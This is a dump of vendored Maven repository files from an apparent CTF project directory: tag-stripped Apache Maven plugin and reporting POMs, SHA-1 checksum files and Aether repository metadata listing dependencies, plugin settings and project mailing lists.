FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-plugins/22/maven-plugins-22.pom ================================================ 4.0.0 org.apache.maven maven-parent 21 ../../pom/maven/pom.xml org.apache.maven.plugins maven-plugins 22 pom Maven Plugins Maven Plugins http://maven.apache.org/plugins/ Maven User List users-subscribe@maven.apache.org users-unsubscribe@maven.apache.org users@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-users http://www.mail-archive.com/users@maven.apache.org/ http://old.nabble.com/Maven---Users-f178.html http://maven.users.markmail.org/ Maven Developer List dev-subscribe@maven.apache.org dev-unsubscribe@maven.apache.org dev@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-dev http://www.mail-archive.com/dev@maven.apache.org/ http://old.nabble.com/Maven-Developers-f179.html http://maven.dev.markmail.org/ Maven Issues List issues-subscribe@maven.apache.org issues-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-issues/ http://www.mail-archive.com/issues@maven.apache.org http://old.nabble.com/Maven---Issues-f15573.html http://maven.issues.markmail.org/ Maven Commits List commits-subscribe@maven.apache.org commits-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-dev http://www.mail-archive.com/commits@maven.apache.org http://old.nabble.com/Maven---Commits-f15575.html http://maven.commits.markmail.org/ Maven Announcements List announce@maven.apache.org announce-subscribe@maven.apache.org announce-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-announce/ http://www.mail-archive.com/announce@maven.apache.org http://old.nabble.com/Maven-Announcements-f15617.html http://maven.announce.markmail.org/ Maven Notifications List notifications-subscribe@maven.apache.org notifications-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-notifications/ http://www.mail-archive.com/notifications@maven.apache.org http://old.nabble.com/Maven---Notifications-f15574.html http://maven.notifications.markmail.org/ scm:svn:http://svn.apache.org/repos/asf/maven/plugins/tags/maven-plugins-22 scm:svn:https://svn.apache.org/repos/asf/maven/plugins/tags/maven-plugins-22 http://svn.apache.org/viewvc/maven/plugins/tags/maven-plugins-22 Jenkins https://builds.apache.org/hudson/job/maven-plugins/ apache.website scp://people.apache.org/www/maven.apache.org/plugins/ apache.snapshots Apache Snapshot Repository http://repository.apache.org/snapshots false org.apache.maven.plugins maven-changes-plugin 2.6 JIRA 1000 true org/apache/maven/plugins [ANN] ${project.name} ${project.version} Released announce@maven.apache.org users@maven.apache.org dev@maven.apache.org ${apache.availid} ${smtp.host} org.apache.maven.shared maven-shared-resources 1 maven-release-plugin https://svn.apache.org/repos/asf/maven/plugins/tags maven-site-plugin scp://people.apache.org/www/maven.apache.org/plugins/${project.artifactId}-${project.version} maven-enforcer-plugin enforce ensure-no-container-api org.codehaus.plexus:plexus-component-api The new containers are not supported. You probably added a dependency that is missing the exclusions. true org.apache.maven.plugins maven-plugin-plugin generated-helpmojo helpmojo org.apache.maven.plugins maven-plugin-plugin 2.8 quality-checks quality-checks true org.apache.maven.plugins maven-docck-plugin docck-check verify check run-its org.apache.maven.plugins maven-invoker-plugin true src/it ${project.build.directory}/it setup verify ${project.build.directory}/local-repo src/it/settings.xml */pom.xml integration-test install integration-test verify reporting org.apache.maven.plugins maven-invoker-plugin 1.5 maven-3 ${basedir} org.apache.maven.plugins maven-site-plugin false attach-descriptor attach-descriptor ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-plugins/22/maven-plugins-22.pom.sha1 ================================================ beff44ae4eff1e5c79c01972083cd11fa6982462 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-plugins/23/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:28 CST 2018 maven-plugins-23.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-plugins/23/maven-plugins-23.pom ================================================ 4.0.0 org.apache.maven maven-parent 22 ../../pom/maven/pom.xml org.apache.maven.plugins maven-plugins 23 pom Maven Plugins Maven Plugins http://maven.apache.org/plugins/ scm:svn:http://svn.apache.org/repos/asf/maven/plugins/tags/maven-plugins-23 scm:svn:https://svn.apache.org/repos/asf/maven/plugins/tags/maven-plugins-23 http://svn.apache.org/viewvc/maven/plugins/tags/maven-plugins-23 Jenkins https://builds.apache.org/hudson/job/maven-plugins/ apache.website scp://people.apache.org/www/maven.apache.org/plugins/ apache.snapshots Apache Snapshot Repository http://repository.apache.org/snapshots false org.apache.maven.plugins maven-changes-plugin 2.7.1 JIRA 1000 true org/apache/maven/plugins [ANN] ${project.name} ${project.version} Released announce@maven.apache.org users@maven.apache.org dev@maven.apache.org ${apache.availid} ${smtp.host} org.apache.maven.shared maven-shared-resources 1 maven-release-plugin https://svn.apache.org/repos/asf/maven/plugins/tags maven-site-plugin scp://people.apache.org/www/maven.apache.org/plugins/${project.artifactId}-${project.version} maven-enforcer-plugin enforce ensure-no-container-api org.codehaus.plexus:plexus-component-api The new containers are not supported. You probably added a dependency that is missing the exclusions. true org.apache.maven.plugins maven-plugin-plugin generated-helpmojo helpmojo org.apache.maven.plugins maven-plugin-plugin 3.1 quality-checks quality-checks true org.apache.maven.plugins maven-docck-plugin docck-check verify check run-its org.apache.maven.plugins maven-invoker-plugin true src/it ${project.build.directory}/it setup verify ${project.build.directory}/local-repo src/it/settings.xml */pom.xml integration-test install integration-test verify reporting org.apache.maven.plugins maven-invoker-plugin 1.6 maven-3 ${basedir} org.apache.maven.plugins maven-site-plugin false attach-descriptor attach-descriptor ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-plugins/23/maven-plugins-23.pom.sha1 ================================================ d40d68ba1f88d8e9b0040f175a6ff41928abd5e7 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-plugins/24/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:59:52 CST 2018 maven-plugins-24.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-plugins/24/maven-plugins-24.pom ================================================ 4.0.0 org.apache.maven maven-parent 23 ../../pom/maven/pom.xml org.apache.maven.plugins maven-plugins 24 pom Maven Plugins Maven Plugins http://maven.apache.org/plugins/ scm:svn:http://svn.apache.org/repos/asf/maven/plugins/tags/maven-plugins-24 scm:svn:https://svn.apache.org/repos/asf/maven/plugins/tags/maven-plugins-24 http://svn.apache.org/viewvc/maven/plugins/tags/maven-plugins-24 Jenkins https://builds.apache.org/job/maven-plugins/ apache.website scm:svn:https://svn.apache.org/repos/infra/websites/production/maven/content/plugins ${user.home}/maven-sites plugins-archives/${project.artifactId}-${project.version} apache.snapshots Apache Snapshot Repository http://repository.apache.org/snapshots false org.apache.maven.plugins maven-changes-plugin 2.7.1 JIRA 1000 true org/apache/maven/plugins annoucement.txt [ANN] ${project.name} ${project.version} Released announce@maven.apache.org users@maven.apache.org dev@maven.apache.org ${apache.availid} ${smtp.host} org.apache.maven.shared maven-shared-resources 1 maven-release-plugin https://svn.apache.org/repos/asf/maven/plugins/tags org.apache.maven.plugins maven-site-plugin 3.2 true org.apache.maven.plugins maven-scm-publish-plugin 1.0-beta-2 ${project.reporting.outputDirectory} scm:svn:https://svn.apache.org/repos/infra/websites/production/maven/content/${maven.site.path} ${maven.site.cache}/${maven.site.path} true scm-publish site-deploy publish-scm maven-enforcer-plugin enforce ensure-no-container-api org.codehaus.plexus:plexus-component-api The new containers are not supported. You probably added a dependency that is missing the exclusions. true org.apache.maven.plugins maven-plugin-plugin generated-helpmojo helpmojo org.apache.maven.plugins maven-plugin-plugin 3.2 org.apache.maven.plugins maven-project-info-reports-plugin 2.6 quality-checks quality-checks true org.apache.maven.plugins maven-docck-plugin docck-check verify check run-its org.apache.maven.plugins maven-invoker-plugin true src/it ${project.build.directory}/it setup verify ${project.build.directory}/local-repo src/it/settings.xml */pom.xml integration-test install integration-test verify site-release plugins/${project.artifactId} reporting org.apache.maven.plugins maven-invoker-plugin 1.7 maven-3 ${basedir} org.apache.maven.plugins maven-site-plugin false attach-descriptor attach-descriptor ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-plugins/24/maven-plugins-24.pom.sha1 ================================================ 91e68408f2d1774c5f39c0c4cd56a8b83e47c67f ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-plugins/27/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:33 CST 2018 maven-plugins-27.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-plugins/27/maven-plugins-27.pom ================================================ 4.0.0 org.apache.maven maven-parent 26 ../../pom/maven/pom.xml org.apache.maven.plugins maven-plugins 27 pom Apache Maven Plugins Maven Plugins http://maven.apache.org/plugins/ scm:svn:http://svn.apache.org/repos/asf/maven/plugins/tags/maven-plugins-27 scm:svn:https://svn.apache.org/repos/asf/maven/plugins/tags/maven-plugins-27 http://svn.apache.org/viewvc/maven/plugins/tags/maven-plugins-27 Jenkins https://builds.apache.org/job/maven-plugins/ apache.website scm:svn:https://svn.apache.org/repos/infra/websites/production/maven/content/${maven.site.path} plugins-archives/${project.artifactId}-LATEST apache.snapshots Apache Snapshot Repository http://repository.apache.org/snapshots false org.apache.maven.plugin-tools maven-plugin-annotations org.apache.maven.plugins maven-changes-plugin 2.11 JIRA 1000 true org/apache/maven/plugins [ANN] ${project.name} ${project.version} Released announce@maven.apache.org users@maven.apache.org dev@maven.apache.org ${apache.availid} ${smtp.host} org.apache.maven.shared maven-shared-resources 1 maven-release-plugin https://svn.apache.org/repos/asf/maven/plugins/tags apache-release,run-its org.apache.maven.plugins maven-plugin-plugin ${mavenPluginToolsVersion} default-descriptor process-classes generated-helpmojo helpmojo true org.apache.maven.plugins maven-plugin-plugin org.apache.maven.plugins maven-scm-publish-plugin ${project.reporting.outputDirectory} maven-enforcer-plugin enforce ensure-no-container-api org.codehaus.plexus:plexus-component-api The new containers are not supported. You probably added a dependency that is missing the exclusions. true org.apache.maven.plugins maven-plugin-plugin ${mavenPluginToolsVersion} quality-checks quality-checks true org.apache.maven.plugins maven-docck-plugin docck-check verify check run-its org.apache.maven.plugins maven-invoker-plugin true src/it ${project.build.directory}/it setup verify ${project.build.directory}/local-repo src/it/settings.xml */pom.xml integration-test install integration-test verify reporting org.apache.maven.plugins maven-invoker-plugin 1.9 maven-3 ${basedir} org.apache.maven.plugins maven-site-plugin false attach-descriptor attach-descriptor maven-2 ${basedir} org.apache.maven.plugins maven-plugin-plugin true mojo-descriptor descriptor ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-plugins/27/maven-plugins-27.pom.sha1 ================================================ 7266e797e06d1b9010c6df97cb060a75f0fd4dbc ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-resources-plugin/2.6/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:29 CST 2018 maven-resources-plugin-2.6.jar>central= maven-resources-plugin-2.6.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-resources-plugin/2.6/maven-resources-plugin-2.6.jar.sha1 ================================================ dd093ff6a4b680eae7ae83b5ab04310249fc6590 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-resources-plugin/2.6/maven-resources-plugin-2.6.pom ================================================ 4.0.0 maven-plugins org.apache.maven.plugins 23 ../maven-plugins/pom.xml maven-resources-plugin 2.6 maven-plugin Maven Resources Plugin The Resources Plugin handles the copying of project resources to the output directory. There are two different kinds of resources: main resources and test resources. The difference is that the main resources are the resources associated to the main source code while the test resources are associated to the test source code. Thus, this allows the separation of resources for the main source code and its unit tests. 2001 ${mavenVersion} scm:svn:http://svn.apache.org/repos/asf/maven/plugins/tags/maven-resources-plugin-2.6 scm:svn:https://svn.apache.org/repos/asf/maven/plugins/tags/maven-resources-plugin-2.6 http://svn.apache.org/viewvc/maven/plugins/tags/maven-resources-plugin-2.6 JIRA http://jira.codehaus.org/browse/MRESOURCES 1.1 2.0.6 3.1 Graham Leggett org.apache.maven maven-plugin-api ${mavenVersion} org.apache.maven maven-project ${mavenVersion} org.apache.maven maven-core ${mavenVersion} org.apache.maven maven-artifact ${mavenVersion} org.apache.maven maven-settings ${mavenVersion} org.apache.maven maven-model ${mavenVersion} org.apache.maven maven-monitor ${mavenVersion} org.codehaus.plexus plexus-container-default 1.0-alpha-9-stable-1 org.apache.maven.plugin-tools maven-plugin-annotations ${mavenPluginPluginVersion} provided org.codehaus.plexus plexus-utils 2.0.5 org.apache.maven.shared maven-filtering ${mavenFilteringVersion} org.codehaus.plexus plexus-interpolation 1.13 org.apache.maven.shared maven-plugin-testing-harness 1.0-beta-1 test commons-io commons-io 1.4 test org.apache.maven.plugins maven-plugin-plugin ${mavenPluginPluginVersion} true mojo-descriptor descriptor help-goal helpmojo org.apache.maven.plugins maven-plugin-plugin ${mavenPluginPluginVersion} run-its org.apache.maven.plugins maven-invoker-plugin 1.7 true verify ${project.build.directory}/local-repo clean process-test-resources src/it/settings.xml ${project.build.directory}/it fromExecProps org.apache.maven.plugins maven-jar-plugin test-jar org.codehaus.plexus plexus-maven-plugin test-descriptor ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-resources-plugin/2.6/maven-resources-plugin-2.6.pom.sha1 ================================================ 5db5c3a879f31e8de7b580c79a52b245454c4620 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-site-plugin/3.3/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:59:56 CST 2018 maven-site-plugin-3.3.pom>central= maven-site-plugin-3.3.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-site-plugin/3.3/maven-site-plugin-3.3.jar.sha1 ================================================ 77ba1752b1ac4c4339d6f11554800960a56a4ae1 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-site-plugin/3.3/maven-site-plugin-3.3.pom ================================================ maven-plugins org.apache.maven.plugins 24 ../maven-plugins/pom.xml 4.0.0 maven-site-plugin maven-plugin Maven Site Plugin 3 3.3 The Maven Site Plugin is a plugin that generates a site for the current project. ${prerequisiteMavenVersion} JIRA http://jira.codehaus.org/browse/MSITE Naoki Nose ikkoan@mail.goo.ne.jp Japanese translator Michael Wechner michael.wechner@wyona.com German translator Christian Schulte cs@schulte.it German translator Piotr Bzdyl piotr@bzdyl.net Polish translator Domingos Creado dcreado@users.sf.net Brazilian Portuguese translator John Allen john_h_allen@hotmail.com Laszlo Hornyak Kocka laszlo.hornyak@gmail.com Hungarian translator Hermod Opstvedt hermod.opstvedt@dnbnor.no Norwegian translator Yue Ni ni2yue4@gmail.com Chinese translator Arturo Vazquez vaz@root.com.mx Spanish translator Woonsan Ko woon_san@yahoo.com Korean translator Martin Vysny mvy@whitestein.com Slovak translator Petr Ferschmann pferschmann@softeu.com Czech translator Kristian Mandrup kristian@mandrup.dk Danish translator Samuel Santos samaxes@gmail.com Portuguese translator Mindaugas Greibus spantus@gmail.com Lithuanian translator Marvin Froeder velo.br@gmail.com msite-504 Yevgeny Nyden yev@curre.net Russian translator Daniel Fernández daniel.fernandez.garrido@gmail.com Galician translator scm:svn:http://svn.apache.org/repos/asf/maven/plugins/tags/maven-site-plugin-3.3 scm:svn:https://svn.apache.org/repos/asf/maven/plugins/tags/maven-site-plugin-3.3 http://svn.apache.org/viewvc/maven/plugins/tags/maven-site-plugin-3.3 maven-plugin-plugin ${mavenPluginPluginVersion} true maven-release-plugin apache-release,rat,run-its org.codehaus.plexus plexus-component-metadata generate-metadata maven-plugin-plugin mojo-descriptor descriptor maven-shade-plugin 1.4 package shade org.apache.maven.reporting:maven-reporting-api org.apache.maven:maven-artifact org.apache.maven.reporting:maven-reporting-api **/MavenMultiPageReport.class org.apache.maven:maven-artifact **/ComparableVersion.class **/ComparableVersion$*.class run-its maven-invoker-plugin 1.8 /home/herve/projets/maven/trunks/plugins/maven-site-plugin/target/checkout/target/it true verify /home/herve/projets/maven/trunks/plugins/maven-site-plugin/target/checkout/target/local-repo clean org.apache.maven.plugins:maven-site-plugin:3.3:site src/it/settings.xml reporting org.codehaus.mojo l10n-maven-plugin 1.0-alpha-2 ca cs da de es fr gl hu it ja ko lt nl no pl pt pt_BR ru sk sv tr zh_CN zh_TW dev maven-site-plugin ${project.version} org.apache.maven.reporting maven-reporting-exec 1.1 compile aether-api org.eclipse.aether aether-api org.sonatype.aether aether-impl org.sonatype.aether aether-spi org.sonatype.aether org.apache.maven maven-compat 3.0 provided org.apache.maven maven-core 3.0 compile org.apache.maven maven-model 3.0 compile org.apache.maven maven-plugin-api 3.0 compile org.apache.maven maven-settings 3.0 compile org.apache.maven maven-settings-builder 3.0 compile org.apache.maven maven-archiver 2.4.2 compile org.apache.maven.plugin-tools maven-plugin-annotations 3.2 provided org.apache.maven.doxia doxia-sink-api 1.4 compile org.apache.maven.doxia doxia-logging-api 1.4 compile org.apache.maven.doxia doxia-core 1.4 compile org.apache.maven.doxia doxia-module-xhtml 1.4 compile org.apache.maven.doxia doxia-module-apt 1.4 runtime org.apache.maven.doxia doxia-module-xdoc 1.4 compile org.apache.maven.doxia doxia-module-fml 1.4 runtime org.apache.maven.doxia doxia-module-markdown 1.4 runtime javax.servlet servlet-api 2.5 compile org.apache.maven.doxia doxia-decoration-model 1.4 compile org.apache.maven.doxia doxia-site-renderer 1.4 compile org.apache.maven.doxia doxia-integration-tools 1.5 compile maven-artifact-manager org.apache.maven maven-repository-metadata org.apache.maven maven-project org.apache.maven org.apache.maven.wagon wagon-provider-api 1.0 compile org.apache.maven.wagon wagon-webdav-jackrabbit 1.0 test slf4j-nop org.slf4j wagon-http-shared org.apache.maven.wagon jackrabbit-webdav org.apache.jackrabbit org.codehaus.plexus plexus-archiver 1.0 compile org.codehaus.plexus plexus-i18n 1.0-beta-7 compile plexus-component-api org.codehaus.plexus org.apache.velocity velocity 1.5 compile org.codehaus.plexus plexus-velocity 1.1.8 compile velocity velocity org.codehaus.plexus plexus-utils 1.5.10 compile org.mortbay.jetty jetty 6.1.25 compile org.mortbay.jetty jetty-util 6.1.25 compile org.mortbay.jetty jetty-client 6.1.25 test jetty-sslengine org.mortbay.jetty jetty-util5 org.mortbay.jetty org.slf4j slf4j-api 1.5.3 test org.slf4j slf4j-simple 1.5.3 test org.slf4j jcl-over-slf4j 1.6.1 test commons-lang commons-lang 2.5 compile commons-io commons-io 1.4 compile org.apache.maven.plugin-testing maven-plugin-testing-harness 2.0-alpha-1 test junit junit 4.8.1 test maven-plugin-plugin ${mavenPluginPluginVersion} apache.website scm:svn:https://svn.apache.org/repos/infra/websites/production/maven/content/${maven.site.path} 1.5.4 2.7.1 1.4 plugins-archives/${project.artifactId}-LATEST 3.0 1.4 1.0 2.2.1 2.5 2.4 2.8.1 3.2 1.4 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-site-plugin/3.3/maven-site-plugin-3.3.pom.sha1 ================================================ e790e7e93471cf9245706d76747f4653dd58c0e7 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-surefire-plugin/2.17/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:07 CST 2018 maven-surefire-plugin-2.17.jar>central= maven-surefire-plugin-2.17.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-surefire-plugin/2.17/maven-surefire-plugin-2.17.jar.sha1 ================================================ 987afb42ca6011da68c3908a926e456b6aed01ff ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-surefire-plugin/2.17/maven-surefire-plugin-2.17.pom ================================================ 4.0.0 org.apache.maven.surefire surefire 2.17 ../pom.xml org.apache.maven.plugins maven-surefire-plugin maven-plugin Maven Surefire Plugin 2.0.9 Surefire Failsafe org.apache.maven maven-plugin-api org.apache.maven.surefire maven-surefire-common org.apache.maven.surefire surefire-api org.apache.maven maven-toolchain org.apache.maven.plugin-tools maven-plugin-annotations compile org.apache.maven.plugins maven-plugin-plugin true mojo-descriptor process-classes descriptor help-goal helpmojo maven-surefire-plugin org.apache.maven.surefire surefire-shadefire ${shadedVersion} maven-assembly-plugin build-site package single true site-source src/assembly/site-source.xml org.apache.maven.plugins maven-plugin-plugin ${mavenPluginPluginVersion} 1.4 ci enableCiProfile true maven-docck-plugin 1.0 check ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-surefire-plugin/2.17/maven-surefire-plugin-2.17.pom.sha1 ================================================ bb4da76cc54b1788403380d8bfbb089dbfa7079d ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-war-plugin/2.2/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:46 CST 2018 maven-war-plugin-2.2.jar>central= maven-war-plugin-2.2.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-war-plugin/2.2/maven-war-plugin-2.2.jar.sha1 ================================================ aa592f899315b961136c43ef8219024d3143bf78 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-war-plugin/2.2/maven-war-plugin-2.2.pom ================================================ 4.0.0 maven-plugins org.apache.maven.plugins 22 ../maven-plugins/pom.xml maven-war-plugin 2.2 maven-plugin Maven WAR Plugin Builds a Web Application Archive (WAR) file from the project output and its dependencies. ${mavenVersion} scm:svn:http://svn.apache.org/repos/asf/maven/plugins/tags/maven-war-plugin-2.2 scm:svn:https://svn.apache.org/repos/asf/maven/plugins/tags/maven-war-plugin-2.2 http://svn.apache.org/viewvc/maven/plugins/tags/maven-war-plugin-2.2 JIRA http://jira.codehaus.org/browse/MWAR 2.5 1.0-beta-2 2.0.6 org.apache.maven maven-plugin-api ${mavenVersion} org.apache.maven maven-artifact ${mavenVersion} org.apache.maven maven-model ${mavenVersion} org.apache.maven maven-project ${mavenVersion} org.apache.maven maven-core ${mavenVersion} org.apache.maven maven-settings ${mavenVersion} org.apache.maven maven-monitor ${mavenVersion} org.apache.maven maven-archiver ${mavenArchiverVersion} org.codehaus.plexus plexus-io 2.0.2 org.codehaus.plexus plexus-archiver 2.1 org.codehaus.plexus plexus-container-default org.codehaus.plexus plexus-component-api org.codehaus.plexus plexus-interpolation 1.15 org.codehaus.plexus plexus-container-default 1.0-alpha-9-stable-1 com.thoughtworks.xstream xstream 1.3.1 org.codehaus.plexus plexus-utils 3.0 org.apache.maven.shared maven-filtering ${mavenFilteringVersion} junit junit 3.8.1 test org.apache.maven.plugin-testing maven-plugin-testing-harness 1.2 test run-its org.apache.maven.plugins maven-invoker-plugin src/it */pom.xml verify ${project.build.directory}/local-repo clean package src/it/settings.xml ${project.build.directory}/it ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-war-plugin/2.2/maven-war-plugin-2.2.pom.sha1 ================================================ 4871ffc2d7ade569f081a8da397675da64a63e6f ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting/2.0.6/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:34 CST 2018 maven-reporting-2.0.6.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting/2.0.6/maven-reporting-2.0.6.pom ================================================ maven org.apache.maven 2.0.6 4.0.0 org.apache.maven.reporting maven-reporting pom Maven Reporting 2005 maven-reporting-api ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting/2.0.6/maven-reporting-2.0.6.pom.sha1 ================================================ 0257fe61312283ef58817edf197e9c90db0bba25 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting/2.0.9/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:22 CST 2018 maven-reporting-2.0.9.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting/2.0.9/maven-reporting-2.0.9.pom ================================================ maven org.apache.maven 2.0.9 4.0.0 org.apache.maven.reporting maven-reporting pom Maven Reporting 2005 maven-reporting-api ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting/2.0.9/maven-reporting-2.0.9.pom.sha1 ================================================ 92fc48457601be497488cc316bc3617326977a24 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting/2.2.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:47 CST 2018 maven-reporting-2.2.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting/2.2.1/maven-reporting-2.2.1.pom ================================================ 4.0.0 org.apache.maven maven 2.2.1 org.apache.maven.reporting maven-reporting pom Maven Reporting 2005 maven-reporting-api ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting/2.2.1/maven-reporting-2.2.1.pom.sha1 ================================================ c68c4978e03d8044ba074130178435a4df1bb3dc ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-api/2.0.6/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:44 CST 2018 maven-reporting-api-2.0.6.jar>central= maven-reporting-api-2.0.6.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-api/2.0.6/maven-reporting-api-2.0.6.jar.sha1 ================================================ 29ec352c90968c345b628be6c40ddfb5ec7010a8 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-api/2.0.6/maven-reporting-api-2.0.6.pom ================================================ maven-reporting org.apache.maven.reporting 2.0.6 4.0.0 maven-reporting-api Maven Reporting API vsiveton Vincent Siveton vincent.siveton@gmail.com Java Developer -5 org.apache.maven.doxia doxia-sink-api 1.0-alpha-7 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-api/2.0.6/maven-reporting-api-2.0.6.pom.sha1 ================================================ 8d8037467cc092dbaf1ca8b513172e2a893b5b9b ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-api/2.0.9/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:32 CST 2018 maven-reporting-api-2.0.9.jar>central= maven-reporting-api-2.0.9.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-api/2.0.9/maven-reporting-api-2.0.9.jar.sha1 ================================================ 88c2303c3d1f54472cbd39cac11d9a4ad0afca25 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-api/2.0.9/maven-reporting-api-2.0.9.pom ================================================ maven-reporting org.apache.maven.reporting 2.0.9 4.0.0 maven-reporting-api Maven Reporting API vsiveton Vincent Siveton vincent.siveton@gmail.com Java Developer -5 org.apache.maven.doxia doxia-sink-api 1.0-alpha-10 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-api/2.0.9/maven-reporting-api-2.0.9.pom.sha1 ================================================ bc210876e266e2f3153e96832cbdc5cd3ba53cba ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-api/2.2.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:47 CST 2018 maven-reporting-api-2.2.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-api/2.2.1/maven-reporting-api-2.2.1.pom ================================================ 4.0.0 org.apache.maven.reporting maven-reporting 2.2.1 maven-reporting-api Maven Reporting API vsiveton Vincent Siveton vincent.siveton@gmail.com Java Developer -5 org.apache.maven.doxia doxia-sink-api org.apache.maven.doxia doxia-logging-api ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-api/2.2.1/maven-reporting-api-2.2.1.pom.sha1 ================================================ 54d326154c3a5befd2fee3ff054ffc8cea635c54 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-api/3.0/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 maven-reporting-api-3.0.pom>central= maven-reporting-api-3.0.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-api/3.0/maven-reporting-api-3.0.jar.sha1 ================================================ b2541dd07d08cd5eff9bd4554a2ad6a4198e2dfe ================================================ FILE: 